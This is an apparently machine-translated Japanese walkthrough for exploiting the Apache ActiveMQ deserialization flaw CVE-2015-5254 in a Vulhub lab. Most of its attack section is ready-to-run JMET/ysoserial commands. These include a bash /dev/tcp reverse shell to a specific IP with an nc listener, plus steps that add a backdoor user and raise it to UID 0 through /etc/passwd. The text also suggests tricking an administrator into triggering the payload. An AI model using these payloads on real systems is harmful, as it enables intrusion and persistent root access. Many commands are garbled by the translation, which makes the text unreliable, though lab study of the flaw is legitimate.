0x00脆弱性はじめに
Apache ActiveMQは、米国のApache Software Foundationが開発したオープンソースメッセージングミドルウェアのセットです。 Javaメッセージサービス、クラスター、スプリングフレームワークなどをサポートしています。ApacheActiveMQ5.13.0の前に、バージョン5.xの前にセキュリティの脆弱性がありました。リモート攻撃者は、特別に作成されたシリアル化されたJavaメッセージサービス(JMS)ObjectMessageオブジェクトを使用して、任意のコードを実行できます。
0x01脆弱性環境
1。ubuntu16.04の下にdocker/docker-compose:をインストールします
#PIPをインストールします
curl -s https://bootstrap.pypa.io/get-pip.py | Python3
#dockerの最新バージョンをインストールします
curl -s https://get.docker.com/| sh
#Dockerサービスを開始します
Service Docker Start
#composeをインストールします
PIPインストールDocker-Compose
#プロジェクトをダウンロードします
wget https://github.com/vulhub/vulhub/archive/master.zip -o vulhub-master.zip
unzip vulhub-master.zip
CD Vulhub-Master
#特定の脆弱性/環境のディレクトリを入力します
CD Activemq/CVE-2015-5254/
#automatedコンピレーション環境
Docker-Composeビルド
2。脆弱性環境を実行:
docker -compose up -d
環境が実行された後、2つのポート61616と8161が聴き、61616は作業ポートであり、このポートでメッセージが渡されます。 8161はネットワーク管理ページポートであり、http://Your-IP:8161にアクセスしてネットワーク管理ページを見ることができますが、理論的には、この脆弱性はネットワークを必要としません。
ブラウザを使用してActiveMQに直接アクセスして、展開が完了しているかどうかを確認します
http://45.32.101.90:8161/admin/(デフォルトのユーザー名/パスワードはadmin/admin)
0x02脆弱性の再発
1。脆弱性の搾取プロセスは次のとおりです。
a。 construct(ysoserialを使用できます)実行可能コマンドのシリアル化されたオブジェクト
b。メッセージとして、ターゲットポート61616に送信します
c。アクセスされたWeb管理ページ、メッセージの読み取り、トリガーの脆弱性
2. Exploitation :にJMETを使用します
最初にJMET JARファイルをダウンロードし、同じディレクトリに外部フォルダーを作成します(それ以外の場合、フォルダーが存在しないエラーが爆発する場合があります)。 JMETの原則は、Ysoserialを使用してペイロードを生成して送信することです(瓶にYsoserialが付属しているため、ローマなどのYsoserialガジェットで使用できるものを選択する必要があります。
CD /OPT
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
MKDIR外部
3。コマンドを実行します
Java -jar Jmet -0.1.0 -All.jar -Q Event -i activemq -s -y 'touch /tmp /sucess' -yp Rome 45.32.101.90 61616
4。現時点では、ターゲットActiveMQに名前付きイベントというキューが追加されます。 http://45.32.101.903:8161/admin/browse.jsp?jmsdestination=event:beansed from http://45.32.101.903:8161からすべてのメッセージが表示されます。
5.クリックしてこのメッセージを表示して、コマンドの実行をトリガーします
6.この時点でコンテナを入力します
docker exec -it cc0e9385f975 /bin /bash
7./TMP /が正常に作成されていることがわかります。これは、搾取が成功していることを示しています。
8.Bounce Shell:
Java -jar Jmet -0.1.0 -All.jar -Q Event -i activemq -s -y 'bash -i /dev/tcp/45.32.101.90/123401' -Yp Rome45.32.101.90 61616
リモートホストはポート1234に耳を傾けます。
NC -LVVP 1234
リバウンドがshell:であることがわかります
ネットワーク管理ページを介してメッセージにアクセスし、脆弱性をトリガーするには管理者の権限が必要であることは注目に値します。パスワードがなければ、管理者にリンクにトリガーへのリンクにアクセスするように誘導したり、他の正当なサービスに必要なメッセージとして偽装したり、クライアントにアクセスできるようにすることができます。
9.ユーザーを追加します
JMEMコマンドを実行してテストユーザーを追加してルートグループに追加し、http://192.168.221.185:8161/admin/browse.jsp?jmsdestination=イベントページに戻り、メッセージをクリックしてトリガーを使用します。
Java -jar Jmet -0.1.0 -All.jar -Q Event -i activemq -s -y 'useradd -g root -s /bin /bash -u 10010 test' -yp rome 45.32.101.90 61616
ルートの権限があるように、PassWDのテストのUIDを0に変更して、http://192.168.221.1853:8161/admin/browse.jsp?jmsdestination=eventページ、メッセージをクリックしてトリガーに戻ります。
Java -jar Jmet -0.1.0 -All.jar -Q Event -i activemq -s -y 'sed -i' s/test:x3:10010/etc/etc/etc/passwd '-yp rome 45.32.101.90 616166
テストユーザーのパスワードを設定し、http://192.168.221.185:8161/admin/browse.jsp?jmsdestination=イベントページに戻り、メッセージをクリックしてトリガーします。
Java -jar Jmet -0.1.0 -All.jar -Q Event -i activemq -s -y 'echo' test:SD123456 '| Chpasswd '-yp Rome 45.32.101.90 61616
この時点まで、ルートとパスワード123456の権限を持つユーザーが作成されました。 SSHを使用して、オペレーティングシステムに直接リモートでログインできますが、それでも最高の権限があります。
0x03参照リンク
https://www.blackhat.com/docs/us-16/materials/us-16-kaiser-pwning-your-java-messaging-with-deserialization-vulnerabilities.pdf
Recommended Comments